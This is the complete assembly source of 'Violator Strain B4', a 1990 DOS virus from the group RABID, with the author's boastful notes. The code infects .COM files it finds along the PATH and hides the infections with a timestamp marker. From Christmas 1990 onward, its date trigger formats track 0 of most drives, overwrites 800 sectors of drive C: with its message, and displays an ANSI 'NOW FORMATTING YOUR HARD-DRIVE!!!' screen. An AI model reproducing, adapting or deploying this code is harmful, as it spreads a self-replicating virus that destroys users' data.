;*****************************************************************************
;		               Violator Strain B4
;*****************************************************************************
;
; Notes: (Nov.26.9O)
; ------------------
;
; "Happy Holiday's Guys!!!"
;
; Haha! I just got off the line with Flash Force. We decided to make 
; a Violator Strain B4 which will have a nice little ANSI Christmas tree
; with RABID's seasons greetings. So the file will be huge! But who cares.
; People won't notice an infection until it's too late due to the short life
; of this virus.
;
; New editions to this virus are a counter that keeps track of how many philes
; it has infected (Where it is in the program, I have no idea!!!), and a
; nice ANSI screen.
;
; I also fixed that stupid re-infection bug in B3... Bah! To err is human...
;
;*****************************************************************************
;
;			Written by The High Evolutionary
;
;	     Copyright (c) 199O by The RABID Nat'nl Development Corp.
;
;*****************************************************************************

CODE    SEGMENT
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
        ORG     $+0100H

VCODE:  JMP     virus

        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP

v_start equ     $

virus:  PUSH    CX
        MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
        CLD                             
        MOV     SI,DX                   
        ADD     SI,first_3              
        MOV     DI,OFFSET 100H          
        MOV     CX,3
        REPZ    MOVSB                   
        MOV     SI,DX                   
        MOV     AH,30H
        MOV	marker,1
	CALL	filter
        CMP     AL,0                    
        JNZ     year_check                  
        JMP     quit                    

filter:	CMP	marker,1
	JE	int_21
	CMP	marker,2
	JE	int_13
	CMP	marker,3
	JE	int_26
	RET

int_21:	INT	21H
	RET

int_13:	INT	13h
	RET

int_26:	INT	26h
	RET

year_check:
	MOV	AH,2AH				; Get date info
	MOV	marker,1			; Set function for INT 21
	CALL	filter				; Call the filter routine
	CMP	CX,1990				; Check if it's 1990
	JGE	month_check			; Yes? Check the month
	JMP	infect				; No? Go to infection routine

month_check:
	CMP	DH,month			; Check if it's December
	JGE	day_check			; Yeah? Check the day
	JMP	infect				; No? Infect a phile

day_check:
	CMP 	DL,day				; Check if it's Christmas
	JGE	kill_13				; Yeah? Kill all drives
	JMP	infect				; No? Infect a poor guy!

kill_13:
	MOV	AL,counter			; Move drive into AL
	CALL	ala_13				; Kill the drive
	CMP	counter,27			; Check to see if it's drive Z:
	JE	re_format			; Yes! Then go to re_format
	INC	counter				; Increase the counter
	LOOP	kill_13				; Jump up and fry the next one

ala_13:	MOV	CH,0				; Set to track 0
	MOV	DL,counter			; Set drive to counter
	MOV	AH,05h				; Set function for formatting
	MOV	DH,0				; Format Head 0
	MOV	marker,2			; Set for INT_13 call
	CALL	filter				; Call the filter routine
	RET					; Return from call
;
; I changed this routine, becuase in the original Violator, I rewrote the
; data segment by calling it for the INT 26. All I did this time, was just
; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
; the Violator identifier string will be written everywhere... Kinda neat!
;

re_format:
	MOV	BP,OFFSET ansi		; Offset of ANSI screen
	MOV	CX,2000			; Set for 2000 bytes
	MOV	AH,13h			; Set function for write to screen
	MOV	AL,3			; Set all attributes to be written
	MOV	BH,0			;
	MOV	BL,0			;
	MOV	DH,0			; Row 0
	MOV	DL,0			; Column 0
	INT	10h			; Display it to screen
	PUSHF				; Push Flags onto stack 'cause INT
					; 26 kill the flag status
	MOV 	BX,OFFSET intro		; Add a message on the fried drive!
	MOV	DX,00			; Set for sector 0
	MOV	CX,800			; Write 800 sectors
	MOV	AL,2			; Make it drive C:
	MOV	marker,3		; Set up for INT 26 call
	CALL	filter			; Call filter for INT 26
	POPF				; Restore the flags we pushed

infect: PUSH    ES
        MOV     AH,2FH
	MOV	marker,1
	CALL	filter
        MOV     [SI+old_dta],BX
        MOV     [SI+old_dts],ES         
        POP     ES
        MOV     DX,dta                  
        ADD     DX,SI                   
        MOV     AH,1AH
	CALL	filter
        PUSH    ES
        PUSH    SI
        MOV     ES,DS:2CH
        MOV     DI,0                    

find_path:
        POP     SI
        PUSH    SI                      
        ADD     SI,env_str              ;Point to "PATH=" string in data area
        LODSB
        MOV     CX,OFFSET 8000H         
        REPNZ   SCASB                   
        MOV     CX,4

check_next_4:
        LODSB
        SCASB
        JNZ     find_path               
        LOOP    check_next_4            
        POP     SI
        POP     ES
        MOV     [SI+path_ad],DI         
        MOV     DI,SI
        ADD     DI,wrk_spc              
        MOV     BX,SI                   
        ADD     SI,wrk_spc              
        MOV     DI,SI                   
        JMP     SHORT   slash_ok

set_subdir:
        CMP     WORD PTR [SI+path_ad],0 
        JNZ     found_subdir            
        JMP     all_done                

found_subdir:
        PUSH    DS
        PUSH    SI
        MOV     DS,ES:2CH               ;DS points to environment segment
        MOV     DI,SI
        MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
        ADD     DI,wrk_spc              ;DI points to file name workspace

move_subdir:
        LODSB                           ;Get character
        CMP     AL,';'                  ;Is it a ';' delimiter?
        JZ      moved_one               ;Yes, found another subdirectory
        CMP     AL,0                    ;End of PATH string?
        JZ      moved_last_one          ;Yes
        STOSB                           ;Save PATH marker into [DI]
        JMP     SHORT   move_subdir

moved_last_one:
        MOV     SI,0

moved_one:
        POP     BX                      ;Pointer to virus data area
        POP     DS                      ;Restore DS
        MOV     [BX+path_ad],SI         ;Address of next subdirectory
        NOP
        CMP     CH,'\'                  ;Ends with "\"?
        JZ      slash_ok                ;If yes
        MOV     AL,'\'                  ;Add one, if not
        STOSB

slash_ok:
        MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
        MOV     SI,BX                   ;Restore SI
        ADD     SI,f_spec               ;Point to "*.COM"
        MOV     CX,6
        REPZ    MOVSB                   ;Move "*.COM",0 to workspace
        MOV     SI,BX
        MOV     AH,4EH
        MOV     DX,wrk_spc
        ADD     DX,SI                   ;DX points to "*.COM" in workspace
        MOV     CX,3                    ;Attributes of Read Only or Hidden 
	CALL	filter
        JMP     SHORT   find_first

find_next:
        MOV     AH,4FH
	CALL	filter

find_first:
        JNB     found_file              ;Jump if we found it
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

found_file:
        MOV     AX,[SI+dta_tim]         ;Get time from DTA
        AND     AL,1CH                  
        CMP     AL,1CH                  
        JZ      find_next               ;If so, go find another file
        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H 
;
;Is the file too long?
;
        JA      find_next               ;If too long, find another one
        CMP     WORD PTR [SI+dta_len],0AH 
;
;Is it too short?
;
        JB      find_next               ;Then go find another one
        MOV     DI,[SI+nam_ptr]         ;DI points to file name
        PUSH    SI                      ;Save SI
        ADD     SI,dta_nam              ;Point SI to file name

more_chars:
        LODSB
        STOSB
        CMP     AL,0
        JNZ     more_chars              ;Move characters until we find a 00
        POP     SI
        MOV     AX,OFFSET 4300H
        MOV     DX,wrk_spc              ;Point to \path\name in workspace
        ADD     DX,SI
	CALL	filter
        MOV     [SI+old_att],CX         ;Save the old attributes
        MOV     AX,OFFSET 4301H         ;Set attributes
        AND     CX,OFFSET 0FFFEH
        MOV     DX,wrk_spc              ;Offset of \path\name in workspace
        ADD     DX,SI                   ;Point to \path\name
	CALL	filter
        MOV     AX,OFFSET 3D02H         ;Read/Write
        MOV     DX,wrk_spc              ;Offset to \path\name in workspace
        ADD     DX,SI                   ;Point to \path\name
	CALL	filter
        JNB     opened_ok               ;If file was opened OK
        JMP     fix_attr                ;If it failed, restore the attributes

opened_ok:
	INC 	times			; Add one to the times counter so
					; that we can keep track off how many
					; files we have infected...
        MOV     BX,AX
        MOV     AX,OFFSET 5700H
	CALL	filter
        MOV     [SI+old_tim],CX         ;Save file time
        MOV     [SI+ol_date],DX         ;Save the date
        MOV     AH,2CH
	CALL	filter
        MOV     AH,3FH
        MOV     CX,3
        MOV     DX,first_3
        ADD     DX,SI
	CALL	filter
        JB      fix_time_stamp  	;Quit, if read failed
        CMP     AX,3            	;Were we able to read all 3 bytes?
        JNZ     fix_time_stamp  	;Quit, if not
        MOV     AX,OFFSET 4202H
        MOV     CX,0
        MOV     DX,0
	CALL	filter
        JB      fix_time_stamp  	;Quit, if it didn't work
        MOV     CX,AX           	;DX:AX (long int) = file size
        SUB     AX,3            	;Subtract 3 (DX must be 0, here)
        MOV     [SI+jmp_dsp],AX 	;Save the displacement in a JMP inst
        ADD     CX,OFFSET c_len_y
        MOV     DI,SI           	;Point DI to virus data area
        SUB     DI,OFFSET c_len_x
        MOV     [DI],CX         
        MOV     AH,40H
        MOV     CX,virlen               ;Length of virus, in bytes
        MOV     DX,SI
        SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
                                        ;address of virus code in memory
	CALL	filter
        JB      fix_time_stamp          ;Jump if error
        CMP     AX,OFFSET virlen        ;All bytes written?
        JNZ     fix_time_stamp          ;Jump if error
        MOV     AX,OFFSET 4200H
        MOV     CX,0
        MOV     DX,0
	CALL	filter
        JB      fix_time_stamp          ;Jump if error
        MOV     AH,40H
        MOV     CX,3
        MOV     DX,SI                   ;Virus data area
        ADD     DX,jmp_op               ;Point to the reconstructed JMP
	CALL	filter

fix_time_stamp:
        MOV     DX,[SI+ol_date]         ;Old file date
        MOV     CX,[SI+old_tim]         ;Old file time
        AND     CX,OFFSET 0FFE0H
        OR      CX,1CH			;Make timestamp with the infected 
					;seconds!!!                  
        MOV     AX,OFFSET 5701H
	CALL	filter
        MOV     AH,3EH
	CALL	filter

fix_attr:
        MOV     AX,OFFSET 4301H
        MOV     CX,[SI+old_att]         ;Old Attributes
        MOV     DX,wrk_spc
        ADD     DX,SI                   ;DX points to \path\name in workspace
	CALL	filter

all_done:
        PUSH    DS
        MOV     AH,1AH
        MOV     DX,[SI+old_dta]
        MOV     DS,[SI+old_dts]
	CALL	filter
        POP     DS


;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
;  in since the address in a real JMP 100 is an offset, and the offset
;  varies from one infected file to the next. By PUSHing an 0100H onto the
;  stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************

quit:
        POP     CX
        XOR     AX,AX
        XOR     BX,BX
        XOR     DX,DX
        XOR     SI,SI
        MOV     DI,OFFSET 0100H
        PUSH    DI
        XOR     DI,DI
        RET     0FFFFH

vir_dat EQU     $

month	db	12			;Set month to December
day	db	25			;Set day to Christmas
intro	db	13,10
	DB	'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10
	DB	' RABID would like to take this opportunity to extend it''s sincerest',13,10
	db	' holiday wishes to all Pir8 lamers around the world! If you are',13,10
	db	' reading this, then you are lame!!!',13,10
	db	' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10
	db	' new year. Go ahead! Make our day!',13,10,13,10
	db	' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10
	db	'(Bah! We make a virus this large, might as well have something positive!)',13,10
marker	DB	0			;Marker for INT purposes
counter	DB	2			;Counter for drives
times	DB	0
ansi    DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,'Ú',9,'Ä',9,'Ä',9,'Ä',9,'Ä'
        DB      9,'Ä',9,'Ä',9,'Ä',9,'Ä',9,'¿',9,'Ú',9,'Ä',9,'Ä',15,'Ä'
        DB      15,'Ä',15,'Ä',15,'Ä',15,'¿',15,'Ú',15,'Ä',15,'Ä',15,'Ä'
        DB      15,'Ä',9,'Ä',9,'Ä',9,'Ä',9,'¿',9,'Ú',9,'Ä',9,'Ä',9,'¿'
        DB      9,'Ú',12,'Ä',12,'Ä',12,'Ä',12,'Ä',12,'Ä',12,'Ä',12,'¿'
        DB      12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,'³',9,' ',9,' ',9,' ',9,'Ú',9,'Ä',9,'¿',9,' '
        DB      9,' ',9,'³',9,'³',9,' ',9,' ',9,'Ú',15,'¿',15,' ',15,' '
        DB      15,'³',15,'³',15,' ',15,' ',15,' ',15,'Ú',9,'¿',9,' '
        DB      9,' ',9,'³',9,'³',9,' ',9,' ',9,'³',9,'³',12,' ',12,' '
        DB      12,' ',12,'Ú',12,'¿',12,' ',12,'³',12,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'³',9,' '
        DB      9,' ',9,' ',9,'³',9,' ',9,'³',9,' ',9,' ',9,'³',9,'³'
        DB      15,' ',15,' ',15,'À',15,'Ù',15,' ',15,' ',15,'³',15,'³'
        DB      15,' ',15,' ',15,' ',15,'³',9,'³',9,' ',9,' ',9,'³',9
        DB      '³',9,' ',9,' ',9,'³',12,'³',12,' ',12,' ',12,' ',12,'³'
        DB      12,'³',12,' ',12,'³',9,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,'³',9,' ',9,' ',9,' ',9
        DB      'À',9,'Ä',9,'Ù',9,' ',9,' ',9,'³',15,'³',15,' ',15,' '
        DB      15,'Ú',15,'¿',15,' ',15,' ',15,'³',15,'³',15,' ',15,' '
        DB      15,' ',15,'À',9,'Ù',9,' ',9,'Ú',9,'Ù',9,'³',9,' ',9,' '
        DB      9,'³',12,'³',12,' ',12,' ',12,' ',12,'³',12,'³',12,' '
        DB      12,'³',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,'³',1,' ',1,' ',1,'Ú',1,'Ä',1,'¿',1,' '
        DB      1,' ',1,'Ú',15,'Ù',15,'³',15,' ',15,' ',15,'³',15,'³'
        DB      15,' ',15,' ',15,'³',15,'³',15,' ',15,' ',15,' ',15,'Ú'
        DB      1,'¿',1,' ',1,'À',1,'¿',1,'³',12,' ',12,' ',12,'³',12
        DB      '³',12,' ',12,' ',12,' ',12,'³',12,'³',1,' ',1,'³',1,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,'³',1,' ',1,' ',1,'³',1,' ',1,'À',1,'¿',1,' ',1,'À'
        DB      15,'¿',15,'³',15,' ',15,' ',15,'³',15,'³',15,' ',15,' '
        DB      15,'³',15,'³',15,' ',15,' ',15,' ',15,'³',1,'³',1,' '
        DB      1,' ',1,'³',1,'³',12,' ',12,' ',12,'³',12,'³',12,' ',12
        DB      ' ',12,' ',12,'³',1,'³',1,' ',1,'³',1,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'³',1,' '
        DB      1,' ',1,'³',1,' ',1,' ',1,'³',15,' ',15,' ',15,'³',15
        DB      '³',15,' ',15,' ',15,'³',15,'³',15,' ',15,' ',15,'³',15
        DB      '³',1,' ',1,' ',1,' ',1,'À',1,'Ù',1,' ',1,' ',1,'³',12
        DB      '³',12,' ',12,' ',12,'³',12,'³',12,' ',12,' ',12,' ',12
        DB      'À',1,'Ù',1,' ',1,'³',1,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,'À',1,'Ä',1,'Ä',1,'Ù',1
        DB      ' ',1,' ',1,'À',15,'Ä',15,'Ä',15,'Ù',15,'À',15,'Ä',15
        DB      'Ä',15,'Ù',15,'À',15,'Ä',15,'Ä',15,'Ù',1,'À',1,'Ä',1,'Ä'
        DB      1,'Ä',1,'Ä',1,'Ä',1,'Ä',1,'Ä',1,'Ù',12,'À',12,'Ä',12,'Ä'
        DB      12,'Ù',12,'À',12,'Ä',12,'Ä',1,'Ä',1,'Ä',1,'Ä',1,'Ä',1
        DB      'Ù',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15
        DB      't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15
        DB      'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15
        DB      'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15
        DB      'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7
        DB      ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7
        DB      't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7
        DB      ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7
        DB      'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7
        DB      'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s'
        DB      7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s'
        DB      7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' '
        DB      7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7
        DB      'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7
        DB      'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7
        DB      'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7
        DB      '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7
        DB      'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7
        DB      'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7
        DB      'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132
        DB      'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132
        DB      'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132
        DB      'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132
        DB      'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132
        DB      '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,'°',10,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,'°',10,'±',10,'°',10,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'°'
        DB      10,'±',10,'²',10,'±',10,'°',10,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'°',10,'±'
        DB      10,'²',10,'Û',10,'²',10,'±',10,'°',10,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,'°',10,'±',10,'²'
        DB      10,'Û',10,'Û',10,'Û',10,'²',10,'±',10,'°',10,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,'°',10,'±',10,'²',10,'Û'
        DB      10,'Û',10,'Û',10,'Û',10,'Û',10,'²',10,'±',10,'°',10,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
